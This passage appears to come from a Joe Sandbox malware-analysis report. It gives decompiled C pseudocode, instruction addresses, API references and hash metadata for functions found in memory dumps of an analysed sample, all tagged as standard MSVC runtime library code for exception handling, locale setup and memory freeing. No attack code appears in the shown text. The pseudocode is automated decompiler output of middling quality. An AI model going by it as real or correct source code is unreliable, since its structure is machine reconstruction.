																			_t299 = _t270[0x1c];
																			_t251 =  *((intOrPtr*)(_t299 + 0xc));
																			_t252 = _t251 + 4;
																			__eflags = _t252;
																			_v36 = _t252;
																			_t253 = _v88;
																			_v40 =  *_t251;
																			_v24 = _t253;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t327 = _v40;
																				_t314 = _v36;
																				__eflags = _t327;
																				if(_t327 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t299);
																						_push( *_t314);
																						_t254 =  &_v84;
																						_push(_t254);
																						L87();
																						_t332 = _t332 + 0xc;
																						__eflags = _t254;
																						if(_t254 != 0) {
																							break;
																						}
																						_t299 = _t270[0x1c];
																						_t327 = _t327 - 1;
																						_t314 = _t314 + 4;
																						__eflags = _t327;
																						if(_t327 > 0) {
																							continue;
																						} else {
																							_t294 = _v20;
																							_t253 = _v24;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E00407F78(_t299, _t270, _a8, _v8, _a16, _a20,  &_v84,  *_t314,  &_v104, _a28, _a32);
																					_t332 = _t332 + 0x30;
																				}
																				L43:
																				_t296 = _v16;
																				goto L44;
																				L40:
																				_t294 = _t294 + 1;
																				_t253 = _t253 + 0x10;
																				_v20 = _t294;
																				_v24 = _t253;
																				__eflags = _t294 - _v92;
																			} while (_t294 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t296 = _t296 + 1;
																_t247 = _v44;
																_t290 = _v32 + 0x14;
																_v16 = _t296;
																_v32 = _t290;
																__eflags = _t296 - _v56;
															} while (_t296 < _v56);
															_t301 = _a20;
															_t315 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E00406210(_t270, _t301, _t315, __eflags);
														_t275 = _t270;
													}
													__eflags = ( *_t301 & 0x1fffffff) - 0x19930521;
													if(( *_t301 & 0x1fffffff) < 0x19930521) {
														L60:
														_t224 = L00407C7C(_t270, _t275, _t296, _t301, _t315);
														__eflags =  *(_t224 + 0x1c);
														if( *(_t224 + 0x1c) != 0) {
															goto L67;
														} else {
															goto L61;
														}
													} else {
														_t228 = _t301[8] >> 2;
														__eflags = _t301[7];
														if(_t301[7] != 0) {
															__eflags = _t228 & 0x00000001;
															if((_t228 & 0x00000001) == 0) {
																_push(_t301[7]);
																_t229 = E00408A0D(_t270, _t301, _t315, _t270);
																_pop(_t275);
																__eflags = _t229;
																if(_t229 == 0) {
																	goto L64;
																} else {
																	goto L60;
																}
															} else {
																goto L54;
															}
														} else {
															__eflags = _t228 & 0x00000001;
															if((_t228 & 0x00000001) == 0) {
																goto L60;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L60;
																} else {
																	L54:
																	 *(L00407C7C(_t270, _t275, _t296, _t301, _t315) + 0x10) = _t270;
																	_t237 = L00407C7C(_t270, _t275, _t296, _t301, _t315);
																	_t286 = _v8;
																	 *((intOrPtr*)(_t237 + 0x14)) = _v8;
																	goto L62;
																}
															}
														}
													}
												} else {
													__eflags = _t270[0x14] - 0x19930521;
													if(_t270[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t270[0x14] - 0x19930522;
														if(_t270[0x14] != 0x19930522) {
															goto L57;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(L00407C7C(_t270, _t275, _t296, _t301, _t315) + 0x1c));
										_t264 = L00407C7C(_t270, _t275, _t296, _t301, _t315);
										_push(_v16);
										 *(_t264 + 0x1c) = _t315;
										_t265 = E00408A0D(_t270, _t301, _t315, _t270);
										_pop(_t286);
										if(_t265 != 0) {
											goto L23;
										} else {
											_t301 = _v16;
											_t353 =  *_t301 - _t315;
											if( *_t301 <= _t315) {
												L62:
												E0040E288(_t270, _t286, _t296, _t301, _t315, __eflags);
											} else {
												while(1) {
													_t286 =  *((intOrPtr*)(_t315 + _t301[1] + 4));
													if(E00408696( *((intOrPtr*)(_t315 + _t301[1] + 4)), _t353, 0x45745c) != 0) {
														goto L63;
													}
													_t315 = _t315 + 0x10;
													_t269 = _v20 + 1;
													_v20 = _t269;
													_t353 = _t269 -  *_t301;
													if(_t269 >=  *_t301) {
														goto L62;
													} else {
														continue;
													}
													goto L63;
												}
											}
											L63:
											_push(1);
											_push(_t270);
											E00406210(_t270, _t301, _t315, __eflags);
											_t275 =  &_v64;
											E0040867E( &_v64);
											E00405DDA( &_v64, 0x42a424);
											L64:
											 *(L00407C7C(_t270, _t275, _t296, _t301, _t315) + 0x10) = _t270;
											_t231 = L00407C7C(_t270, _t275, _t296, _t301, _t315);
											_t275 = _v8;
											 *(_t231 + 0x14) = _v8;
											__eflags = _t315;
											if(_t315 == 0) {
												_t315 = _a8;
											}
											E00406039(_t275, _t315, _t270);
											E0040890D(_a8, _a16, _t301);
											_t234 = E00408ACA(_t301);
											_t332 = _t332 + 0x10;
											_push(_t234);
											E00408884(_t270, _t275, _t296, _t301, _t315, __eflags);
											goto L67;
										}
									}
								}
							}
						}
					}
				}
			}

0x00407ff8
0x00407fff
0x00408001
0x0040800a
0x00408010
0x00408018
0x0040801a
0x0040801d
0x00408023
0x00408397
0x00408397
0x0040839c
0x0040839e
0x004083a0
0x004083a3
0x004083a4
0x004083a7
0x004083ad
0x004084cc
0x004083b3
0x004083b5
0x004083bc
0x004083bf
0x004083c2
0x004083c8
0x004083ca
0x004083cf
0x004083d2
0x004083d4
0x004083da
0x004083dc
0x004083e2
0x004083f7
0x004083fc
0x004083ff
0x00408401
0x004084c8
0x00000000
0x004084c9
0x00408401
0x004083e2
0x004083da
0x004083d2
0x00408407
0x0040840a
0x0040840d
0x00408410
0x00408413
0x00408419
0x0040842b
0x00408430
0x00408433
0x00408436
0x00408439
0x0040843c
0x0040843f
0x00408442
0x00000000
0x00000000
0x00408448
0x00408448
0x0040844b
0x0040844e
0x0040845d
0x0040845e
0x0040845e
0x00408460
0x00408463
0x00000000
0x00000000
0x00408465
0x00408468
0x00000000
0x00000000
0x00408476
0x00408478
0x0040847b
0x0040847d
0x00408485
0x00408485
0x00408488
0x0040848a
0x0040848c
0x004084a8
0x004084ad
0x004084b0
0x004084b0
0x00000000
0x00408488
0x0040847f
0x00408483
0x00000000
0x00000000
0x00000000
0x004084b3
0x004084b6
0x004084b7
0x004084ba
0x004084bd
0x004084c0
0x004084c3
0x004084c3
0x00000000
0x0040844e
0x004084cd
0x004084d2
0x004084d3
0x004084d6
0x004084d9
0x004084da
0x004084db
0x004084dc
0x004084df
0x004084e1
0x00408559
0x0040855b
0x0040855b
0x004084e3
0x004084e3
0x004084e6
0x004084e9
0x00000000
0x004084eb
0x004084eb
0x004084ee
0x004084f1
0x004084f8
0x004084f8
0x004084fb
0x004084fd
0x004084ff
0x00408531
0x00408531
0x00408534
0x0040853b
0x0040853b
0x0040853e
0x00408541
0x00408548
0x00408548
0x0040854b
0x00408552
0x00408554
0x00408554
0x0040854d
0x0040854d
0x00408550
0x00000000
0x00000000
0x00408550
0x00408543
0x00408543
0x00408546
0x00000000
0x00000000
0x00408546
0x00408536
0x00408536
0x00408539
0x00000000
0x00000000
0x00408539
0x00408555
0x00408501
0x00408501
0x00408501
0x00408504
0x00408504
0x00408506
0x00408508
0x00000000
0x00000000
0x0040850a
0x0040850c
0x00408520
0x00408520
0x0040850e
0x0040850e
0x00408511
0x00408514
0x00000000
0x00408516
0x00408516
0x00408519
0x0040851c
0x0040851e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040851e
0x00408514
0x00408529
0x00408529
0x0040852b
0x00000000
0x0040852d
0x0040852d
0x0040852d
0x00000000
0x0040852b
0x00408524
0x00408526
0x00408526
0x00000000
0x00408526
0x004084f3
0x004084f3
0x004084f6
0x00000000
0x00000000
0x00000000
0x00000000
0x004084f6
0x004084f1
0x004084e9
0x0040855c
0x00408560
0x00408560
0x00408032
0x00408032
0x0040803b
0x00408138
0x00408138
0x0040813b
0x00000000
0x0040806a
0x0040806a
0x0040806f
0x00000000
0x00408075
0x00408075
0x0040807d
0x00408331
0x00408335
0x00408083
0x00408088
0x0040808b
0x00408090
0x00408097
0x0040809c
0x00000000
0x004080d4
0x004080dc
0x00408140
0x00408140
0x00408143
0x00408146
0x00408148
0x0040814b
0x0040814e
0x00408154
0x00408300
0x00408300
0x00408303
0x00000000
0x00408305
0x00408305
0x00408308
0x00000000
0x0040830e
0x0040830e
0x00408311
0x00408314
0x00408315
0x00408316
0x00408319
0x0040831a
0x0040831d
0x0040831e
0x00408323
0x00000000
0x00408323
0x00408308
0x0040815a
0x0040815a
0x0040815e
0x00000000
0x00408164
0x00408164
0x0040816b
0x00408183
0x00408183
0x00408186
0x00408189
0x0040818f
0x0040819f
0x004081a4
0x004081a7
0x004081aa
0x004081ad
0x004081b0
0x004081b3
0x004081b6
0x004081bc
0x004081bc
0x004081bf
0x004081c2
0x004081d1
0x004081d2
0x004081d2
0x004081d4
0x004081d7
0x004081dd
0x004081e0
0x004081e6
0x004081e8
0x004081eb
0x004081ee
0x004081f4
0x004081f7
0x004081fc
0x004081fc
0x004081ff
0x00408202
0x00408205
0x00408208
0x0040820b
0x00408210
0x00408211
0x00408212
0x00408213
0x00408214
0x00408217
0x0040821a
0x0040821c
0x00000000
0x0040821e
0x0040821e
0x0040821e
0x0040821f
0x00408221
0x00408224
0x00408225
0x0040822a
0x0040822d
0x0040822f
0x00000000
0x00000000
0x00408231
0x00408234
0x00408235
0x00408238
0x0040823a
0x00000000
0x0040823c
0x0040823c
0x0040823f
0x00000000
0x0040823f
0x00000000
0x0040823a
0x00408253
0x00408259
0x00408276
0x0040827b
0x0040827b
0x0040827e
0x0040827e
0x00000000
0x00408242
0x00408242
0x00408243
0x00408246
0x00408249
0x0040824c
0x0040824c
0x00000000
0x00408251
0x004081ee
0x004081e0
0x00408281
0x00408284
0x00408285
0x00408288
0x0040828b
0x0040828e
0x00408291
0x00408291
0x0040829a
0x0040829d
0x0040829d
0x004081b6
0x004082a0
0x004082a4
0x004082a6
0x004082a9
0x004082af
0x004082af
0x004082b7
0x004082bc
0x00408326
0x00408326
0x0040832b
0x0040832f
0x00000000
0x00000000
0x00000000
0x00000000
0x004082be
0x004082c1
0x004082c4
0x004082c8
0x004082d6
0x004082d8
0x004082ef
0x004082f3
0x004082f9
0x004082fa
0x004082fc
0x00000000
0x004082fe
0x00000000
0x004082fe
0x00000000
0x00000000
0x00000000
0x004082ca
0x004082ca
0x004082cc
0x00000000
0x004082ce
0x004082ce
0x004082d2
0x00000000
0x004082d4
0x004082da
0x004082df
0x004082e2
0x004082e7
0x004082ea
0x00000000
0x004082ea
0x004082d2
0x004082cc
0x004082c8
0x0040816d
0x0040816d
0x00408174
0x00000000
0x00408176
0x00408176
0x0040817d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040817d
0x00408174
0x0040816b
0x0040815e
0x004080de
0x004080e6
0x004080e9
0x004080ee
0x004080f2
0x004080f5
0x004080fb
0x004080fe
0x00000000
0x00408100
0x00408100
0x00408103
0x00408105
0x00408336
0x00408336
0x00000000
0x0040810b
0x00408113
0x0040811e
0x00000000
0x00000000
0x00408127
0x0040812a
0x0040812b
0x0040812e
0x00408130
0x00000000
0x00408136
0x00000000
0x00408136
0x00000000
0x00408130
0x0040810b
0x0040833b
0x0040833b
0x0040833d
0x0040833e
0x00408345
0x00408348
0x00408356
0x0040835b
0x00408360
0x00408363
0x00408368
0x0040836b
0x0040836e
0x00408370
0x00408372
0x00408372
0x00408377
0x00408383
0x00408389
0x0040838e
0x00408391
0x00408392
0x00000000
0x00408392
0x004080fe
0x004080dc
0x0040809c
0x0040807d
0x0040806f
0x0040803b

APIs

type_info::operator==.LIBVCRUNTIME ref: 00408117
___TypeMatch.LIBVCRUNTIME ref: 00408225
_UnwindNestedFrames.LIBCMT ref: 00408377
CallUnexpected.LIBVCRUNTIME ref: 00408392

Strings

csm, xrefs: 00408035
csm, xrefs: 004080A2
csm, xrefs: 0040814E

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: b78b5abb31ce45cd3a9519f5ac5cba366e1ba7377e25db2fccb0f9658ba53566
Instruction ID: 352b304d621f7347dbb26e01f1b86717ed62025200450db3f03163e8776fa318
Opcode Fuzzy Hash: b78b5abb31ce45cd3a9519f5ac5cba366e1ba7377e25db2fccb0f9658ba53566
Instruction Fuzzy Hash: 07B16A31800209EFCF24DFA5CA419AEB7B5BF54314B14416FE8807B292DB39EA51CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0270845F Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0270857E
___TypeMatch.LIBVCRUNTIME ref: 0270868C
_UnwindNestedFrames.LIBCMT ref: 027087DE
CallUnexpected.LIBVCRUNTIME ref: 027087F9

Strings

csm, xrefs: 027085B5
csm, xrefs: 0270849C
csm, xrefs: 02708509

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: b78b5abb31ce45cd3a9519f5ac5cba366e1ba7377e25db2fccb0f9658ba53566
Instruction ID: dd999b6bc1bd8b32f2db5ba058ff1bc69e5c3ff3070da7f667475e25b2e57bd1
Opcode Fuzzy Hash: b78b5abb31ce45cd3a9519f5ac5cba366e1ba7377e25db2fccb0f9658ba53566
Instruction Fuzzy Hash: D1B17C7180021AEFCF25DFA4C8C49AEBBF6BF04318F15415AE8116B295D731EA59CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0040D4EB Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 255
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E0040D4EB(void* __ebx, void* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				short _v706;
				signed int _v708;
				signed int _v712;
				signed int _v716;
				intOrPtr _v720;
				signed int _v724;
				intOrPtr _v728;
				signed int* _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				intOrPtr _v772;
				signed int _v784;
				void* __ebp;
				signed int _t156;
				void* _t163;
				signed int _t164;
				signed int _t166;
				signed int _t167;
				intOrPtr _t168;
				signed int _t171;
				signed int _t173;
				signed int _t174;
				signed int _t177;
				signed int _t179;
				signed int _t182;
				signed int _t183;
				signed int _t185;
				signed int _t186;
				signed int _t202;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t212;
				void* _t213;
				signed int _t220;
				intOrPtr* _t221;
				char* _t228;
				intOrPtr _t232;
				intOrPtr* _t233;
				signed int _t235;
				signed int _t240;
				signed int _t241;
				intOrPtr _t246;
				void* _t247;
				void* _t250;
				signed int _t252;
				signed int _t254;
				signed int _t257;
				signed int* _t258;
				short _t259;
				signed int _t260;
				void* _t262;
				void* _t263;
				void* _t264;

				_t244 = __edx;
				_t156 =  *0x42c014; // 0xee6350c6
				_v8 = _t156 ^ _t260;
				_push(__ebx);
				_t212 = _a8;
				_push(__esi);
				_push(__edi);
				_t246 = _a4;
				_v736 = _t212;
				_v732 = E0040ED70(__ecx, __edx) + 0x278;
				_t163 = E0040CBD6(_t212, __edx, _t246, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55,  &_v716);
				_t263 = _t262 + 0x18;
				if(_t163 == 0) {
					L39:
					_t164 = 0;
					__eflags = 0;
					goto L40;
				} else {
					_t10 = _t212 + 2; // 0x6
					_t252 = _t10 << 4;
					_t166 =  &_v272;
					_v712 = _t252;
					_t244 =  *(_t252 + _t246);
					_t220 = _t244;
					while(1) {
						_v704 = _v704 & 0x00000000;
						_t254 = _v712;
						if( *_t166 !=  *_t220) {
							break;
						}
						if( *_t166 == 0) {
							L6:
							_t167 = _v704;
						} else {
							_t259 =  *((intOrPtr*)(_t166 + 2));
							_v706 = _t259;
							_t254 = _v712;
							if(_t259 !=  *((intOrPtr*)(_t220 + 2))) {
								break;
							} else {
								_t166 = _t166 + 4;
								_t220 = _t220 + 4;
								if(_v706 != 0) {
									continue;
								} else {
									goto L6;
								}
							}
						}
						L8:
						if(_t167 != 0) {
							_t221 =  &_v272;
							_t244 = _t221 + 2;
							do {
								_t168 =  *_t221;
								_t221 = _t221 + 2;
								__eflags = _t168 - _v704;
							} while (_t168 != _v704);
							_v708 = (_t221 - _t244 >> 1) + 1;
							_t171 = E0040FE5B(4 + ((_t221 - _t244 >> 1) + 1) * 2);
							_v724 = _t171;
							__eflags = _t171;
							if(_t171 == 0) {
								goto L39;
							} else {
								_v720 =  *((intOrPtr*)(_t254 + _t246));
								_v740 =  *(_t246 + 0xa0 + _t212 * 4);
								_v744 =  *(_t246 + 8);
								_t228 =  &_v272;
								_v728 = _t171 + 4;
								_t173 = E00412F29(_t171 + 4, _v708, _t228);
								_t264 = _t263 + 0xc;
								__eflags = _t173;
								if(_t173 != 0) {
									_t174 = _v704;
									_push(_t174);
									_push(_t174);
									_push(_t174);
									_push(_t174);
									_push(_t174);
									E004092DF();
									asm("int3");
									_push(_t260);
									_push(_t228);
									_v784 = _v784 & 0x00000000;
									_t177 = E0040FBAD(_v772, 0x20001004,  &_v784, 2);
									__eflags = _t177;
									if(_t177 == 0) {
										L49:
										return 0xfde9;
									}
									_t179 = _v12;
									__eflags = _t179;
									if(_t179 == 0) {
										goto L49;
									}
									return _t179;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t254 + _t246)) = _v728;
									if(_v272 != 0x43) {
										L17:
										_t182 = E0040C8F3(_t212, _t246,  &_v700);
										_t244 = _v704;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L17;
										} else {
											_t244 = _v704;
											_t182 = _t244;
										}
									}
									 *(_t246 + 0xa0 + _t212 * 4) = _t182;
									__eflags = _t212 - 2;
									if(_t212 != 2) {
										__eflags = _t212 - 1;
										if(_t212 != 1) {
											__eflags = _t212 - 5;
											if(_t212 == 5) {
												 *((intOrPtr*)(_t246 + 0x14)) = _v716;
											}
										} else {
											 *((intOrPtr*)(_t246 + 0x10)) = _v716;
										}
									} else {
										_t258 = _v732;
										 *(_t246 + 8) = _v716;
										_v708 = _t258[8];
										_t240 = _t258[9];
										_v716 = _t240;
										while(1) {
											__eflags =  *(_t246 + 8) -  *(_t258 + _t244 * 8);
											if( *(_t246 + 8) ==  *(_t258 + _t244 * 8)) {
												break;
											}
											_t210 =  *(_t258 + _t244 * 8);
											_t240 =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v708;
											 *(_t258 + 4 + _t244 * 8) = _v716;
											_t244 = _t244 + 1;
											_t212 = _v736;
											_v708 = _t210;
											_v716 = _t240;
											__eflags = _t244 - 5;
											if(_t244 < 5) {
												continue;
											} else {
											}
											L25:
											__eflags = _t244 - 5;
											if(__eflags == 0) {
												_t202 = E00412BF3(_t244, __eflags, _v704, 1, 0x41f5d8, 0x7f,  &_v528,  *(_t246 + 8), 1);
												_t264 = _t264 + 0x1c;
												__eflags = _t202;
												if(_t202 == 0) {
													_t241 = _v704;
												} else {
													_t204 = _v704;
													do {
														 *(_t260 + _t204 * 2 - 0x20c) =  *(_t260 + _t204 * 2 - 0x20c) & 0x000001ff;
														_t204 = _t204 + 1;
														__eflags = _t204 - 0x7f;
													} while (_t204 < 0x7f);
													_t206 = E004063D0( &_v528,  *0x42c184, 0xfe);
													_t264 = _t264 + 0xc;
													__eflags = _t206;
													_t241 = 0 | _t206 == 0x00000000;
												}
												_t258[1] = _t241;
												 *_t258 =  *(_t246 + 8);
											}
											 *(_t246 + 0x18) = _t258[1];
											goto L37;
										}
										__eflags = _t244;
										if(_t244 != 0) {
											 *_t258 =  *(_t258 + _t244 * 8);
											_t258[1] =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v708;
											 *(_t258 + 4 + _t244 * 8) = _t240;
										}
										goto L25;
									}
									L37:
									_t183 = _t212 * 0xc;
									_t111 = _t183 + 0x41f660; // 0x403eed
									 *0x41d130(_t246);
									_t185 =  *((intOrPtr*)( *_t111))();
									_t232 = _v720;
									__eflags = _t185;
									if(_t185 == 0) {
										__eflags = _t232 - 0x42c2a0;
										if(_t232 == 0x42c2a0) {
											L44:
											_t186 = _v712;
										} else {
											_t257 = _t212 + _t212;
											__eflags = _t257;
											asm("lock xadd [eax], ecx");
											if(_t257 != 0) {
												goto L44;
											} else {
												E0040F644( *((intOrPtr*)(_t246 + 0x28 + _t257 * 8)));
												E0040F644( *((intOrPtr*)(_t246 + 0x24 + _t257 * 8)));
												E0040F644( *(_t246 + 0xa0 + _t212 * 4));
												_t186 = _v712;
												_t235 = _v704;
												 *(_t186 + _t246) = _t235;
												 *(_t246 + 0xa0 + _t212 * 4) = _t235;
											}
										}
										_t233 = _v724;
										 *_t233 = 1;
										_t164 =  *(_t186 + _t246);
										 *((intOrPtr*)(_t246 + 0x28 + (_t212 + _t212) * 8)) = _t233;
									} else {
										 *((intOrPtr*)(_v712 + _t246)) = _t232;
										E0040F644( *(_t246 + 0xa0 + _t212 * 4));
										 *(_t246 + 0xa0 + _t212 * 4) = _v740;
										E0040F644(_v724);
										 *(_t246 + 8) = _v744;
										goto L39;
									}
									goto L40;
								}
							}
						} else {
							_t164 = _t244;
							L40:
							_pop(_t247);
							_pop(_t250);
							_pop(_t213);
							return E00404A89(_t164, _t213, _v8 ^ _t260, _t244, _t247, _t250);
						}
						goto L51;
					}
					asm("sbb eax, eax");
					_t167 = _t166 | 0x00000001;
					__eflags = _t167;
					goto L8;
				}
				L51:
			}

0x0040d4eb
0x0040d4f6
0x0040d4fd
0x0040d500
0x0040d501
0x0040d504
0x0040d508
0x0040d509
0x0040d50c
0x0040d51c
0x0040d53f
0x0040d544
0x0040d549
0x0040d7ff
0x0040d7ff
0x0040d7ff
0x00000000
0x0040d54f
0x0040d54f
0x0040d552
0x0040d555
0x0040d55b
0x0040d561
0x0040d564
0x0040d566
0x0040d569
0x0040d573
0x0040d579
0x00000000
0x00000000
0x0040d57f
0x0040d5a8
0x0040d5a8
0x0040d581
0x0040d581
0x0040d589
0x0040d590
0x0040d596
0x00000000
0x0040d598
0x0040d598
0x0040d59b
0x0040d5a6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d5a6
0x0040d596
0x0040d5b5
0x0040d5b7
0x0040d5c0
0x0040d5c6
0x0040d5c9
0x0040d5c9
0x0040d5cc
0x0040d5cf
0x0040d5cf
0x0040d5df
0x0040d5ed
0x0040d5f2
0x0040d5f9
0x0040d5fb
0x00000000
0x0040d601
0x0040d607
0x0040d614
0x0040d61d
0x0040d623
0x0040d630
0x0040d637
0x0040d63c
0x0040d63f
0x0040d641
0x0040d87f
0x0040d885
0x0040d886
0x0040d887
0x0040d888
0x0040d889
0x0040d88a
0x0040d88f
0x0040d892
0x0040d895
0x0040d896
0x0040d8a8
0x0040d8ad
0x0040d8af
0x0040d8b8
0x00000000
0x0040d8b8
0x0040d8b1
0x0040d8b4
0x0040d8b6
0x00000000
0x00000000
0x0040d8be
0x0040d647
0x0040d647
0x0040d655
0x0040d658
0x0040d66e
0x0040d675
0x0040d67a
0x0040d65a
0x0040d65a
0x0040d662
0x00000000
0x0040d664
0x0040d664
0x0040d66a
0x0040d66a
0x0040d662
0x0040d681
0x0040d688
0x0040d68b
0x0040d789
0x0040d78c
0x0040d799
0x0040d79c
0x0040d7a4
0x0040d7a4
0x0040d78e
0x0040d794
0x0040d794
0x0040d691
0x0040d691
0x0040d69d
0x0040d6a3
0x0040d6a9
0x0040d6ac
0x0040d6b2
0x0040d6b5
0x0040d6b8
0x00000000
0x00000000
0x0040d6ba
0x0040d6c3
0x0040d6c7
0x0040d6d0
0x0040d6d4
0x0040d6d5
0x0040d6db
0x0040d6e1
0x0040d6e7
0x0040d6ea
0x00000000
0x00000000
0x0040d6ec
0x0040d70b
0x0040d70b
0x0040d70e
0x0040d72b
0x0040d730
0x0040d733
0x0040d735
0x0040d773
0x0040d737
0x0040d737
0x0040d73d
0x0040d742
0x0040d74a
0x0040d74b
0x0040d74b
0x0040d762
0x0040d769
0x0040d76c
0x0040d76e
0x0040d76e
0x0040d779
0x0040d77f
0x0040d77f
0x0040d784
0x00000000
0x0040d784
0x0040d6ee
0x0040d6f0
0x0040d6f5
0x0040d6fb
0x0040d704
0x0040d707
0x0040d707
0x00000000
0x0040d6f0
0x0040d7a7
0x0040d7a7
0x0040d7ab
0x0040d7b3
0x0040d7b9
0x0040d7bc
0x0040d7c2
0x0040d7c4
0x0040d810
0x0040d816
0x0040d862
0x0040d862
0x0040d818
0x0040d81d
0x0040d81d
0x0040d823
0x0040d827
0x00000000
0x0040d829
0x0040d82d
0x0040d836
0x0040d842
0x0040d847
0x0040d850
0x0040d856
0x0040d859
0x0040d859
0x0040d827
0x0040d868
0x0040d870
0x0040d876
0x0040d879
0x0040d7c6
0x0040d7cc
0x0040d7d6
0x0040d7e8
0x0040d7ef
0x0040d7fc
0x00000000
0x0040d7fc
0x00000000
0x0040d7c4
0x0040d641
0x0040d5b9
0x0040d5b9
0x0040d801
0x0040d804
0x0040d805
0x0040d808
0x0040d80f
0x0040d80f
0x00000000
0x0040d5b7
0x0040d5b0
0x0040d5b2
0x0040d5b2
0x00000000
0x0040d5b2
0x00000000

APIs

Part of subcall function 0040ED70: GetLastError.KERNEL32(?,00000000,?,0040B354,00000000,00000000,?,?,004100E1,00000000,00000000,00000000,00000000,?), ref: 0040ED75
Part of subcall function 0040ED70: SetLastError.KERNEL32(00000000,00000008,000000FF,?,004100E1,00000000,00000000,00000000,00000000,?), ref: 0040EE13

_free.LIBCMT ref: 0040D7D6
_free.LIBCMT ref: 0040D7EF
_free.LIBCMT ref: 0040D82D
_free.LIBCMT ref: 0040D836
_free.LIBCMT ref: 0040D842

Strings

Z7@, xrefs: 0040D7B3
C, xrefs: 0040D647

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: C$Z7@
API String ID: 3291180501-1909565231
Opcode ID: a0f6f436046ce5cb90d491ac68a41115b74cc3b71e829eb69447cf72874da286
Instruction ID: c41affcc5d56cecb214639343cc16d69c60c412262bb24cda424ab90c6194d0e
Opcode Fuzzy Hash: a0f6f436046ce5cb90d491ac68a41115b74cc3b71e829eb69447cf72874da286
Instruction Fuzzy Hash: 66B14975D012199BDB24DF58C884AAAB7B4FF48314F1085AEE809A7390E735AE94CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0270D952 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0270F1D7: GetLastError.KERNEL32(?,00000000,?,0270B7BB,00000000,00000000,?,?,02710548,00000000,00000000,00000000,00000000,?), ref: 0270F1DC
Part of subcall function 0270F1D7: SetLastError.KERNEL32(00000000,0042C190,000000FF,?,02710548,00000000,00000000,00000000,00000000,?), ref: 0270F27A

_free.LIBCMT ref: 0270DC3D
_free.LIBCMT ref: 0270DC56
_free.LIBCMT ref: 0270DC94
_free.LIBCMT ref: 0270DC9D
_free.LIBCMT ref: 0270DCA9

Strings

Z7@, xrefs: 0270DC1A
C, xrefs: 0270DAAE

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: C$Z7@
API String ID: 3291180501-1909565231
Opcode ID: 6d3ae64c43edbebf2cbeee55f63cda172c2bfbc158c2b7e614a67a259dc6376e
Instruction ID: 2952af953b1063f1ab9dd1f3cfaed55656562799dcdb0b1a72f2f7d7167464eb
Opcode Fuzzy Hash: 6d3ae64c43edbebf2cbeee55f63cda172c2bfbc158c2b7e614a67a259dc6376e
Instruction Fuzzy Hash: 8CB13675A01319DFDB25DF58C8C8AAAB7F5FF48304F1045AAD80AA7290DB70AE94CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00407A90 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407A90(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _t52;
